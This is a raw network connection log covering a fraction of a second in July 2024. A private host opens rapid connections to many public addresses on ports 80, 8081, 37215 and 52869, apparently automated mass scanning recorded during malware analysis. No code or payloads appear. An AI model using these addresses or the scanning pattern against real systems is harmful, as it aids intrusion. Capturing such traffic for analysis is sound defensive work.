Jul 20, 2024 23:05:44.327841997 CEST	44472	8081	192.168.2.13	223.107.38.37
Jul 20, 2024 23:05:44.328367949 CEST	33720	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:44.328428030 CEST	80	47202	95.33.23.31	192.168.2.13
Jul 20, 2024 23:05:44.328583002 CEST	57152	8081	192.168.2.13	63.54.135.76
Jul 20, 2024 23:05:44.328583002 CEST	38496	8081	192.168.2.13	209.25.30.35
Jul 20, 2024 23:05:44.328726053 CEST	80	57434	95.61.59.169	192.168.2.13
Jul 20, 2024 23:05:44.328855991 CEST	51178	80	192.168.2.13	95.18.187.147
Jul 20, 2024 23:05:44.328907013 CEST	8081	51448	165.35.3.0	192.168.2.13
Jul 20, 2024 23:05:44.328948021 CEST	51448	8081	192.168.2.13	165.35.3.0
Jul 20, 2024 23:05:44.329262972 CEST	80	54016	95.214.250.8	192.168.2.13
Jul 20, 2024 23:05:44.329488039 CEST	57548	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:44.329535007 CEST	80	57434	95.61.59.169	192.168.2.13
Jul 20, 2024 23:05:44.329581022 CEST	80	57824	95.61.59.169	192.168.2.13
Jul 20, 2024 23:05:44.329621077 CEST	57824	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:44.330672026 CEST	60736	8081	192.168.2.13	204.14.34.26
Jul 20, 2024 23:05:44.330780029 CEST	43864	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:44.330780029 CEST	43864	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:44.331933022 CEST	80	57156	95.74.67.173	192.168.2.13
Jul 20, 2024 23:05:44.332294941 CEST	44256	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:44.332348108 CEST	80	57156	95.74.67.173	192.168.2.13
Jul 20, 2024 23:05:44.332366943 CEST	47202	80	192.168.2.13	95.33.23.31
Jul 20, 2024 23:05:44.332506895 CEST	54016	80	192.168.2.13	95.214.250.8
Jul 20, 2024 23:05:44.332884073 CEST	8081	46362	180.233.160.163	192.168.2.13
Jul 20, 2024 23:05:44.332937002 CEST	46362	8081	192.168.2.13	180.233.160.163
Jul 20, 2024 23:05:44.333761930 CEST	8081	58974	133.216.2.227	192.168.2.13
Jul 20, 2024 23:05:44.333826065 CEST	59050	8081	192.168.2.13	128.61.69.135
Jul 20, 2024 23:05:44.334254026 CEST	43402	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:44.334254026 CEST	43402	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:44.334496975 CEST	80	57548	95.74.67.173	192.168.2.13
Jul 20, 2024 23:05:44.334537029 CEST	57548	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:44.335697889 CEST	43796	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:44.336096048 CEST	8081	60736	204.14.34.26	192.168.2.13
Jul 20, 2024 23:05:44.336138010 CEST	60736	8081	192.168.2.13	204.14.34.26
Jul 20, 2024 23:05:44.336644888 CEST	80	43864	95.201.16.9	192.168.2.13
Jul 20, 2024 23:05:44.336812019 CEST	59290	8081	192.168.2.13	93.44.252.28
Jul 20, 2024 23:05:44.336836100 CEST	80	43864	95.201.16.9	192.168.2.13
Jul 20, 2024 23:05:44.337451935 CEST	80	44256	95.201.16.9	192.168.2.13
Jul 20, 2024 23:05:44.337488890 CEST	44256	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:44.337819099 CEST	56326	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:44.337819099 CEST	56326	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:44.339047909 CEST	56722	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:44.339082956 CEST	8081	59050	128.61.69.135	192.168.2.13
Jul 20, 2024 23:05:44.339333057 CEST	59050	8081	192.168.2.13	128.61.69.135
Jul 20, 2024 23:05:44.340106010 CEST	80	43402	95.68.157.52	192.168.2.13
Jul 20, 2024 23:05:44.340189934 CEST	57312	8081	192.168.2.13	117.148.184.206
Jul 20, 2024 23:05:44.340354919 CEST	34442	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:44.340373039 CEST	80	43402	95.68.157.52	192.168.2.13
Jul 20, 2024 23:05:44.340373993 CEST	58974	8081	192.168.2.13	133.216.2.227
Jul 20, 2024 23:05:44.340620041 CEST	34442	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:44.340780973 CEST	80	43796	95.68.157.52	192.168.2.13
Jul 20, 2024 23:05:44.341296911 CEST	43796	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:44.341525078 CEST	38908	8081	192.168.2.13	197.197.71.66
Jul 20, 2024 23:05:44.341620922 CEST	34842	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:44.342147112 CEST	8081	59290	93.44.252.28	192.168.2.13
Jul 20, 2024 23:05:44.342667103 CEST	80	41042	95.181.116.151	192.168.2.13
Jul 20, 2024 23:05:44.343512058 CEST	59290	8081	192.168.2.13	93.44.252.28
Jul 20, 2024 23:05:44.344058037 CEST	80	56326	95.15.65.159	192.168.2.13
Jul 20, 2024 23:05:44.344104052 CEST	80	56326	95.15.65.159	192.168.2.13
Jul 20, 2024 23:05:44.344244003 CEST	80	56722	95.15.65.159	192.168.2.13
Jul 20, 2024 23:05:44.344248056 CEST	8081	50672	148.104.166.3	192.168.2.13
Jul 20, 2024 23:05:44.344302893 CEST	56722	80	192.168.2.13	95.15.65.159
Jul 20, 2024 23:05:44.344995022 CEST	8081	48386	68.152.129.142	192.168.2.13
Jul 20, 2024 23:05:44.345300913 CEST	38836	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:44.345300913 CEST	38836	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:44.345769882 CEST	8081	57312	117.148.184.206	192.168.2.13
Jul 20, 2024 23:05:44.345776081 CEST	80	34442	95.12.205.106	192.168.2.13
Jul 20, 2024 23:05:44.345778942 CEST	80	34442	95.12.205.106	192.168.2.13
Jul 20, 2024 23:05:44.345832109 CEST	57312	8081	192.168.2.13	117.148.184.206
Jul 20, 2024 23:05:44.345907927 CEST	8081	48684	139.32.96.77	192.168.2.13
Jul 20, 2024 23:05:44.346244097 CEST	49616	8081	192.168.2.13	204.2.83.132
Jul 20, 2024 23:05:44.346453905 CEST	39238	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:44.346813917 CEST	8081	38908	197.197.71.66	192.168.2.13
Jul 20, 2024 23:05:44.346863985 CEST	38908	8081	192.168.2.13	197.197.71.66
Jul 20, 2024 23:05:44.347142935 CEST	80	36806	95.42.35.197	192.168.2.13
Jul 20, 2024 23:05:44.347256899 CEST	80	34842	95.12.205.106	192.168.2.13
Jul 20, 2024 23:05:44.347290039 CEST	34842	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:44.347836971 CEST	42704	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:44.347837925 CEST	42704	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:44.348359108 CEST	36806	80	192.168.2.13	95.42.35.197
Jul 20, 2024 23:05:44.348366976 CEST	48684	8081	192.168.2.13	139.32.96.77
Jul 20, 2024 23:05:44.348383904 CEST	39430	8081	192.168.2.13	119.101.195.96
Jul 20, 2024 23:05:44.348383904 CEST	41042	80	192.168.2.13	95.181.116.151
Jul 20, 2024 23:05:44.348416090 CEST	48386	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:44.348659992 CEST	50672	8081	192.168.2.13	148.104.166.3
Jul 20, 2024 23:05:44.349040985 CEST	43108	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:44.350541115 CEST	80	38836	95.229.250.82	192.168.2.13
Jul 20, 2024 23:05:44.350549936 CEST	80	38836	95.229.250.82	192.168.2.13
Jul 20, 2024 23:05:44.350573063 CEST	47794	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:44.350573063 CEST	47794	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:44.350809097 CEST	49878	8081	192.168.2.13	208.164.111.128
Jul 20, 2024 23:05:44.351464987 CEST	8081	49616	204.2.83.132	192.168.2.13
Jul 20, 2024 23:05:44.351469994 CEST	80	39238	95.229.250.82	192.168.2.13
Jul 20, 2024 23:05:44.351504087 CEST	49616	8081	192.168.2.13	204.2.83.132
Jul 20, 2024 23:05:44.351509094 CEST	39238	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:44.351581097 CEST	48200	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:44.351994038 CEST	80	56428	95.182.20.151	192.168.2.13
Jul 20, 2024 23:05:44.352186918 CEST	8081	44472	223.107.38.37	192.168.2.13
Jul 20, 2024 23:05:44.352363110 CEST	56428	80	192.168.2.13	95.182.20.151
Jul 20, 2024 23:05:44.352365017 CEST	44472	8081	192.168.2.13	223.107.38.37
Jul 20, 2024 23:05:44.352714062 CEST	60994	8081	192.168.2.13	223.10.101.195
Jul 20, 2024 23:05:44.353096962 CEST	54412	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:44.353096962 CEST	54412	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:44.353112936 CEST	80	42704	95.92.0.189	192.168.2.13
Jul 20, 2024 23:05:44.353241920 CEST	8081	51448	165.35.3.0	192.168.2.13
Jul 20, 2024 23:05:44.353341103 CEST	80	42704	95.92.0.189	192.168.2.13
Jul 20, 2024 23:05:44.354137897 CEST	54820	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:44.354353905 CEST	8081	39430	119.101.195.96	192.168.2.13
Jul 20, 2024 23:05:44.354576111 CEST	80	43108	95.92.0.189	192.168.2.13
Jul 20, 2024 23:05:44.354827881 CEST	39430	8081	192.168.2.13	119.101.195.96
Jul 20, 2024 23:05:44.355099916 CEST	80	57824	95.61.59.169	192.168.2.13
Jul 20, 2024 23:05:44.355834007 CEST	80	47794	95.203.108.124	192.168.2.13
Jul 20, 2024 23:05:44.355839014 CEST	80	47794	95.203.108.124	192.168.2.13
Jul 20, 2024 23:05:44.355865002 CEST	8081	46362	180.233.160.163	192.168.2.13
Jul 20, 2024 23:05:44.355895996 CEST	56562	8081	192.168.2.13	121.215.50.138
Jul 20, 2024 23:05:44.356367111 CEST	57824	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:44.356424093 CEST	8081	49878	208.164.111.128	192.168.2.13
Jul 20, 2024 23:05:44.356446981 CEST	46362	8081	192.168.2.13	180.233.160.163
Jul 20, 2024 23:05:44.356499910 CEST	80	57548	95.74.67.173	192.168.2.13
Jul 20, 2024 23:05:44.356642008 CEST	36696	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:44.357106924 CEST	43108	80	192.168.2.13	95.92.0.189
Jul 20, 2024 23:05:44.357270002 CEST	80	48200	95.203.108.124	192.168.2.13
Jul 20, 2024 23:05:44.357868910 CEST	8081	60994	223.10.101.195	192.168.2.13
Jul 20, 2024 23:05:44.357945919 CEST	60994	8081	192.168.2.13	223.10.101.195
Jul 20, 2024 23:05:44.357958078 CEST	51448	8081	192.168.2.13	165.35.3.0
Jul 20, 2024 23:05:44.357958078 CEST	49878	8081	192.168.2.13	208.164.111.128
Jul 20, 2024 23:05:44.358167887 CEST	8081	60736	204.14.34.26	192.168.2.13
Jul 20, 2024 23:05:44.358530045 CEST	80	54412	95.157.224.56	192.168.2.13
Jul 20, 2024 23:05:44.358540058 CEST	48200	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:44.358581066 CEST	80	54412	95.157.224.56	192.168.2.13
Jul 20, 2024 23:05:44.358747005 CEST	36286	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:44.358747005 CEST	36286	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:44.358747005 CEST	38088	8081	192.168.2.13	63.102.7.183
Jul 20, 2024 23:05:44.359178066 CEST	80	44256	95.201.16.9	192.168.2.13
Jul 20, 2024 23:05:44.359380007 CEST	80	54820	95.157.224.56	192.168.2.13
Jul 20, 2024 23:05:44.359416008 CEST	54820	80	192.168.2.13	95.157.224.56
Jul 20, 2024 23:05:44.360364914 CEST	60736	8081	192.168.2.13	204.14.34.26
Jul 20, 2024 23:05:44.360383987 CEST	44256	80	192.168.2.13	95.201.16.9
Jul 20, 2024 23:05:44.360809088 CEST	8081	59050	128.61.69.135	192.168.2.13
Jul 20, 2024 23:05:44.361351013 CEST	80	40660	95.181.116.151	192.168.2.13
Jul 20, 2024 23:05:44.361413002 CEST	80	46822	95.33.23.31	192.168.2.13
Jul 20, 2024 23:05:44.361450911 CEST	8081	56562	121.215.50.138	192.168.2.13
Jul 20, 2024 23:05:44.362001896 CEST	80	36696	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:44.362051010 CEST	36696	80	192.168.2.13	95.145.15.233
Jul 20, 2024 23:05:44.362087011 CEST	80	43796	95.68.157.52	192.168.2.13
Jul 20, 2024 23:05:44.362593889 CEST	56562	8081	192.168.2.13	121.215.50.138
Jul 20, 2024 23:05:44.363445997 CEST	48438	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:44.363657951 CEST	60396	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:44.363657951 CEST	60396	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:44.363811970 CEST	80	36286	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:44.364124060 CEST	59900	8081	192.168.2.13	37.80.33.132
Jul 20, 2024 23:05:44.364135027 CEST	48026	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:44.364135027 CEST	48026	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:44.364430904 CEST	80	36286	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:44.364629984 CEST	8081	38088	63.102.7.183	192.168.2.13
Jul 20, 2024 23:05:44.366543055 CEST	8081	59290	93.44.252.28	192.168.2.13
Jul 20, 2024 23:05:44.368099928 CEST	80	56722	95.15.65.159	192.168.2.13
Jul 20, 2024 23:05:44.368484974 CEST	59050	8081	192.168.2.13	128.61.69.135
Jul 20, 2024 23:05:44.368742943 CEST	80	48438	95.202.16.5	192.168.2.13
Jul 20, 2024 23:05:44.368747950 CEST	80	60396	95.247.168.194	192.168.2.13
Jul 20, 2024 23:05:44.368757010 CEST	80	60396	95.247.168.194	192.168.2.13
Jul 20, 2024 23:05:44.369292021 CEST	43796	80	192.168.2.13	95.68.157.52
Jul 20, 2024 23:05:44.371985912 CEST	8081	57312	117.148.184.206	192.168.2.13
Jul 20, 2024 23:05:44.372534037 CEST	8081	38908	197.197.71.66	192.168.2.13
Jul 20, 2024 23:05:44.372998953 CEST	80	34842	95.12.205.106	192.168.2.13
Jul 20, 2024 23:05:44.373347998 CEST	8081	59900	37.80.33.132	192.168.2.13
Jul 20, 2024 23:05:44.376085043 CEST	57548	80	192.168.2.13	95.74.67.173
Jul 20, 2024 23:05:44.377428055 CEST	8081	49616	204.2.83.132	192.168.2.13
Jul 20, 2024 23:05:44.377432108 CEST	80	39238	95.229.250.82	192.168.2.13
Jul 20, 2024 23:05:44.377603054 CEST	8081	39430	119.101.195.96	192.168.2.13
Jul 20, 2024 23:05:44.378099918 CEST	80	43108	95.92.0.189	192.168.2.13
Jul 20, 2024 23:05:44.378916979 CEST	8081	60994	223.10.101.195	192.168.2.13
Jul 20, 2024 23:05:44.380533934 CEST	80	48200	95.203.108.124	192.168.2.13
Jul 20, 2024 23:05:44.380547047 CEST	80	54820	95.157.224.56	192.168.2.13
Jul 20, 2024 23:05:44.381427050 CEST	80	48026	95.202.16.5	192.168.2.13
Jul 20, 2024 23:05:44.381429911 CEST	80	48026	95.202.16.5	192.168.2.13
Jul 20, 2024 23:05:44.382294893 CEST	80	36696	95.145.15.233	192.168.2.13
Jul 20, 2024 23:05:44.383008957 CEST	38088	8081	192.168.2.13	63.102.7.183
Jul 20, 2024 23:05:44.383169889 CEST	8081	56562	121.215.50.138	192.168.2.13
Jul 20, 2024 23:05:44.383991957 CEST	8081	49878	208.164.111.128	192.168.2.13
Jul 20, 2024 23:05:44.488193989 CEST	36904	8081	192.168.2.13	100.189.148.44
Jul 20, 2024 23:05:44.488759995 CEST	48438	80	192.168.2.13	95.202.16.5
Jul 20, 2024 23:05:44.497411013 CEST	49616	8081	192.168.2.13	204.2.83.132
Jul 20, 2024 23:05:44.499435902 CEST	8081	36904	100.189.148.44	192.168.2.13
Jul 20, 2024 23:05:44.501693964 CEST	56812	80	192.168.2.13	95.5.44.224
Jul 20, 2024 23:05:44.502229929 CEST	48200	80	192.168.2.13	95.203.108.124
Jul 20, 2024 23:05:44.502229929 CEST	56562	8081	192.168.2.13	121.215.50.138
Jul 20, 2024 23:05:44.506655931 CEST	34842	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:44.506655931 CEST	39430	8081	192.168.2.13	119.101.195.96
Jul 20, 2024 23:05:44.512195110 CEST	39238	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:44.526088953 CEST	42396	80	192.168.2.13	95.10.224.195
Jul 20, 2024 23:05:44.526088953 CEST	48202	80	192.168.2.13	95.82.40.159
Jul 20, 2024 23:05:44.533421993 CEST	57844	80	192.168.2.13	95.221.74.36
Jul 20, 2024 23:05:44.533421993 CEST	48478	80	192.168.2.13	95.26.106.67
Jul 20, 2024 23:05:44.554145098 CEST	40226	80	192.168.2.13	95.155.207.83
Jul 20, 2024 23:05:44.577068090 CEST	44719	37215	192.168.2.13	197.79.38.107
Jul 20, 2024 23:05:44.577068090 CEST	44719	37215	192.168.2.13	41.194.182.51
Jul 20, 2024 23:05:44.577068090 CEST	44719	37215	192.168.2.13	157.142.68.228
Jul 20, 2024 23:05:44.577068090 CEST	44719	37215	192.168.2.13	41.215.191.111
Jul 20, 2024 23:05:44.577068090 CEST	44719	37215	192.168.2.13	163.241.212.180
Jul 20, 2024 23:05:44.578808069 CEST	44719	37215	192.168.2.13	197.87.113.51
Jul 20, 2024 23:05:44.578808069 CEST	44719	37215	192.168.2.13	88.75.242.7
Jul 20, 2024 23:05:44.578808069 CEST	44719	37215	192.168.2.13	41.90.78.253
Jul 20, 2024 23:05:44.578808069 CEST	44719	37215	192.168.2.13	220.140.76.88
Jul 20, 2024 23:05:44.578808069 CEST	44719	37215	192.168.2.13	157.110.238.56
Jul 20, 2024 23:05:44.578808069 CEST	44719	37215	192.168.2.13	41.113.145.203
Jul 20, 2024 23:05:44.578808069 CEST	44719	37215	192.168.2.13	197.160.45.157
Jul 20, 2024 23:05:44.578808069 CEST	44719	37215	192.168.2.13	41.176.36.1
Jul 20, 2024 23:05:44.579087019 CEST	44719	37215	192.168.2.13	157.30.207.238
Jul 20, 2024 23:05:44.579087019 CEST	44719	37215	192.168.2.13	157.197.245.205
Jul 20, 2024 23:05:44.579087019 CEST	44719	37215	192.168.2.13	157.218.98.239
Jul 20, 2024 23:05:44.579087019 CEST	44719	37215	192.168.2.13	201.205.132.204
Jul 20, 2024 23:05:44.579087019 CEST	44719	37215	192.168.2.13	41.101.51.250
Jul 20, 2024 23:05:44.579087019 CEST	44719	37215	192.168.2.13	17.95.13.37
Jul 20, 2024 23:05:44.579087019 CEST	44719	37215	192.168.2.13	157.242.112.76
Jul 20, 2024 23:05:44.579087019 CEST	44719	37215	192.168.2.13	197.183.255.235
Jul 20, 2024 23:05:44.580334902 CEST	44719	37215	192.168.2.13	157.199.216.214
Jul 20, 2024 23:05:44.580334902 CEST	44719	37215	192.168.2.13	197.70.4.171
Jul 20, 2024 23:05:44.580334902 CEST	44719	37215	192.168.2.13	41.11.182.124
Jul 20, 2024 23:05:44.580334902 CEST	44719	37215	192.168.2.13	197.8.101.74
Jul 20, 2024 23:05:44.580334902 CEST	44719	37215	192.168.2.13	157.250.31.164
Jul 20, 2024 23:05:44.580334902 CEST	44719	37215	192.168.2.13	41.240.223.62
Jul 20, 2024 23:05:44.580334902 CEST	44719	37215	192.168.2.13	41.179.220.131
Jul 20, 2024 23:05:44.580334902 CEST	44719	37215	192.168.2.13	197.78.210.146
Jul 20, 2024 23:05:44.580626965 CEST	44719	37215	192.168.2.13	41.30.133.155
Jul 20, 2024 23:05:44.580626965 CEST	44719	37215	192.168.2.13	41.101.126.87
Jul 20, 2024 23:05:44.580626965 CEST	44719	37215	192.168.2.13	157.79.134.144
Jul 20, 2024 23:05:44.580626965 CEST	44719	37215	192.168.2.13	41.94.29.29
Jul 20, 2024 23:05:44.580626965 CEST	44719	37215	192.168.2.13	41.252.251.183
Jul 20, 2024 23:05:44.580626965 CEST	44719	37215	192.168.2.13	197.249.186.160
Jul 20, 2024 23:05:44.580626965 CEST	44719	37215	192.168.2.13	41.102.235.10
Jul 20, 2024 23:05:44.580626965 CEST	44719	37215	192.168.2.13	41.231.6.176
Jul 20, 2024 23:05:44.581891060 CEST	44719	37215	192.168.2.13	41.216.241.38
Jul 20, 2024 23:05:44.581891060 CEST	44719	37215	192.168.2.13	197.75.246.24
Jul 20, 2024 23:05:44.581891060 CEST	44719	37215	192.168.2.13	41.22.217.152
Jul 20, 2024 23:05:44.581891060 CEST	44719	37215	192.168.2.13	157.58.40.144
Jul 20, 2024 23:05:44.581891060 CEST	44719	37215	192.168.2.13	41.18.75.134
Jul 20, 2024 23:05:44.581891060 CEST	44719	37215	192.168.2.13	197.248.194.40
Jul 20, 2024 23:05:44.581891060 CEST	44719	37215	192.168.2.13	41.81.9.102
Jul 20, 2024 23:05:44.582185030 CEST	44719	37215	192.168.2.13	150.159.12.246
Jul 20, 2024 23:05:44.582185030 CEST	44719	37215	192.168.2.13	101.175.61.161
Jul 20, 2024 23:05:44.582185030 CEST	44719	37215	192.168.2.13	157.58.101.28
Jul 20, 2024 23:05:44.582185030 CEST	44719	37215	192.168.2.13	60.102.77.146
Jul 20, 2024 23:05:44.582185030 CEST	44719	37215	192.168.2.13	147.233.201.83
Jul 20, 2024 23:05:44.582185030 CEST	44719	37215	192.168.2.13	41.187.161.26
Jul 20, 2024 23:05:44.582185030 CEST	44719	37215	192.168.2.13	197.40.99.142
Jul 20, 2024 23:05:44.583906889 CEST	44719	37215	192.168.2.13	157.1.73.107
Jul 20, 2024 23:05:44.583906889 CEST	44719	37215	192.168.2.13	151.128.221.242
Jul 20, 2024 23:05:44.583906889 CEST	44719	37215	192.168.2.13	197.97.114.175
Jul 20, 2024 23:05:44.583906889 CEST	44719	37215	192.168.2.13	58.129.218.215
Jul 20, 2024 23:05:44.583906889 CEST	44719	37215	192.168.2.13	41.103.203.136
Jul 20, 2024 23:05:44.583906889 CEST	44719	37215	192.168.2.13	85.61.71.33
Jul 20, 2024 23:05:44.583906889 CEST	44719	37215	192.168.2.13	157.76.93.169
Jul 20, 2024 23:05:44.583906889 CEST	44719	37215	192.168.2.13	197.74.70.31
Jul 20, 2024 23:05:44.584975958 CEST	44719	37215	192.168.2.13	41.77.72.16
Jul 20, 2024 23:05:44.584975958 CEST	44719	37215	192.168.2.13	157.22.222.129
Jul 20, 2024 23:05:44.584975958 CEST	44719	37215	192.168.2.13	157.76.157.23
Jul 20, 2024 23:05:44.584975958 CEST	44719	37215	192.168.2.13	157.215.207.96
Jul 20, 2024 23:05:44.584975958 CEST	44719	37215	192.168.2.13	41.200.3.249
Jul 20, 2024 23:05:44.585076094 CEST	44719	37215	192.168.2.13	197.221.35.92
Jul 20, 2024 23:05:44.585076094 CEST	44719	37215	192.168.2.13	197.46.239.156
Jul 20, 2024 23:05:44.585076094 CEST	44719	37215	192.168.2.13	41.20.38.198
Jul 20, 2024 23:05:44.585076094 CEST	44719	37215	192.168.2.13	197.42.25.100
Jul 20, 2024 23:05:44.587881088 CEST	37122	80	192.168.2.13	95.136.84.40
Jul 20, 2024 23:05:44.588640928 CEST	43695	52869	192.168.2.13	101.73.4.16
Jul 20, 2024 23:05:44.588640928 CEST	43695	52869	192.168.2.13	221.3.242.5
Jul 20, 2024 23:05:44.588640928 CEST	43695	52869	192.168.2.13	12.207.30.125
Jul 20, 2024 23:05:44.592915058 CEST	43695	52869	192.168.2.13	98.62.191.234
Jul 20, 2024 23:05:44.592915058 CEST	43695	52869	192.168.2.13	187.143.119.37
Jul 20, 2024 23:05:44.592915058 CEST	43695	52869	192.168.2.13	106.225.80.214
Jul 20, 2024 23:05:44.598356009 CEST	44719	37215	192.168.2.13	197.45.12.120
Jul 20, 2024 23:05:44.598356009 CEST	44719	37215	192.168.2.13	25.122.150.15
Jul 20, 2024 23:05:44.598356009 CEST	44719	37215	192.168.2.13	41.220.68.252
Jul 20, 2024 23:05:44.598356009 CEST	44719	37215	192.168.2.13	197.88.205.40
Jul 20, 2024 23:05:44.599198103 CEST	43695	52869	192.168.2.13	136.24.70.56
Jul 20, 2024 23:05:44.599198103 CEST	43695	52869	192.168.2.13	31.5.25.199
Jul 20, 2024 23:05:44.599198103 CEST	43695	52869	192.168.2.13	42.111.125.168
Jul 20, 2024 23:05:44.599198103 CEST	43695	52869	192.168.2.13	138.132.215.240
Jul 20, 2024 23:05:44.599198103 CEST	43695	52869	192.168.2.13	53.56.198.95
Jul 20, 2024 23:05:44.599198103 CEST	43695	52869	192.168.2.13	31.231.151.30
Jul 20, 2024 23:05:44.599198103 CEST	43695	52869	192.168.2.13	174.221.8.61
Jul 20, 2024 23:05:44.599198103 CEST	43695	52869	192.168.2.13	98.105.190.249
Jul 20, 2024 23:05:44.599704027 CEST	43695	52869	192.168.2.13	101.59.242.87
Jul 20, 2024 23:05:44.599704027 CEST	43695	52869	192.168.2.13	166.161.253.19
Jul 20, 2024 23:05:44.599704027 CEST	43695	52869	192.168.2.13	194.72.202.29
Jul 20, 2024 23:05:44.599704027 CEST	43695	52869	192.168.2.13	93.187.137.171
Jul 20, 2024 23:05:44.599704027 CEST	43695	52869	192.168.2.13	223.157.207.130
Jul 20, 2024 23:05:44.599704027 CEST	43695	52869	192.168.2.13	71.173.114.130
Jul 20, 2024 23:05:44.599704027 CEST	43695	52869	192.168.2.13	31.155.55.8
Jul 20, 2024 23:05:44.599704027 CEST	43695	52869	192.168.2.13	44.187.248.15
Jul 20, 2024 23:05:44.600223064 CEST	43695	52869	192.168.2.13	185.61.229.112
Jul 20, 2024 23:05:44.600223064 CEST	43695	52869	192.168.2.13	101.61.197.24
Jul 20, 2024 23:05:44.600223064 CEST	43695	52869	192.168.2.13	4.152.131.21
Jul 20, 2024 23:05:44.600223064 CEST	43695	52869	192.168.2.13	205.216.169.243
Jul 20, 2024 23:05:44.600223064 CEST	43695	52869	192.168.2.13	46.81.190.204
Jul 20, 2024 23:05:44.600223064 CEST	43695	52869	192.168.2.13	107.96.10.112
Jul 20, 2024 23:05:44.600223064 CEST	43695	52869	192.168.2.13	86.180.253.243
Jul 20, 2024 23:05:44.600223064 CEST	43695	52869	192.168.2.13	108.188.39.31
Jul 20, 2024 23:05:44.600749969 CEST	43695	52869	192.168.2.13	20.186.151.206
Jul 20, 2024 23:05:44.600749969 CEST	43695	52869	192.168.2.13	102.46.199.20
Jul 20, 2024 23:05:44.600750923 CEST	43695	52869	192.168.2.13	78.110.167.93
Jul 20, 2024 23:05:44.600750923 CEST	43695	52869	192.168.2.13	132.142.106.204
Jul 20, 2024 23:05:44.600750923 CEST	43695	52869	192.168.2.13	132.219.248.35
Jul 20, 2024 23:05:44.600750923 CEST	43695	52869	192.168.2.13	101.228.85.38
Jul 20, 2024 23:05:44.600750923 CEST	43695	52869	192.168.2.13	213.105.255.191
Jul 20, 2024 23:05:44.600750923 CEST	43695	52869	192.168.2.13	42.140.137.117
Jul 20, 2024 23:05:44.601267099 CEST	43695	52869	192.168.2.13	167.151.11.35
Jul 20, 2024 23:05:44.601267099 CEST	43695	52869	192.168.2.13	104.34.54.41
Jul 20, 2024 23:05:44.601267099 CEST	43695	52869	192.168.2.13	162.187.150.19
Jul 20, 2024 23:05:44.601268053 CEST	43695	52869	192.168.2.13	187.150.149.148
Jul 20, 2024 23:05:44.601268053 CEST	43695	52869	192.168.2.13	54.76.173.233
Jul 20, 2024 23:05:44.601268053 CEST	43695	52869	192.168.2.13	149.223.236.152
Jul 20, 2024 23:05:44.601268053 CEST	43695	52869	192.168.2.13	54.82.97.176
Jul 20, 2024 23:05:44.601268053 CEST	43695	52869	192.168.2.13	220.159.9.134
Jul 20, 2024 23:05:44.601788044 CEST	43695	52869	192.168.2.13	44.75.45.34
Jul 20, 2024 23:05:44.601788044 CEST	43695	52869	192.168.2.13	84.205.84.200
Jul 20, 2024 23:05:44.601788044 CEST	43695	52869	192.168.2.13	198.139.127.65
Jul 20, 2024 23:05:44.601788044 CEST	43695	52869	192.168.2.13	49.53.198.223
Jul 20, 2024 23:05:44.601788044 CEST	43695	52869	192.168.2.13	36.49.199.216
Jul 20, 2024 23:05:44.601788044 CEST	43695	52869	192.168.2.13	130.201.224.129
Jul 20, 2024 23:05:44.601788044 CEST	43695	52869	192.168.2.13	158.231.228.107
Jul 20, 2024 23:05:44.601788044 CEST	43695	52869	192.168.2.13	218.45.227.32
Jul 20, 2024 23:05:44.602327108 CEST	43695	52869	192.168.2.13	136.117.93.58
Jul 20, 2024 23:05:44.602327108 CEST	43695	52869	192.168.2.13	177.34.128.116
Jul 20, 2024 23:05:44.602327108 CEST	43695	52869	192.168.2.13	165.33.115.94
Jul 20, 2024 23:05:44.602327108 CEST	43695	52869	192.168.2.13	137.36.77.53
Jul 20, 2024 23:05:44.602327108 CEST	43695	52869	192.168.2.13	2.151.18.206
Jul 20, 2024 23:05:44.602327108 CEST	43695	52869	192.168.2.13	140.247.232.124
Jul 20, 2024 23:05:44.602327108 CEST	43695	52869	192.168.2.13	72.17.189.116
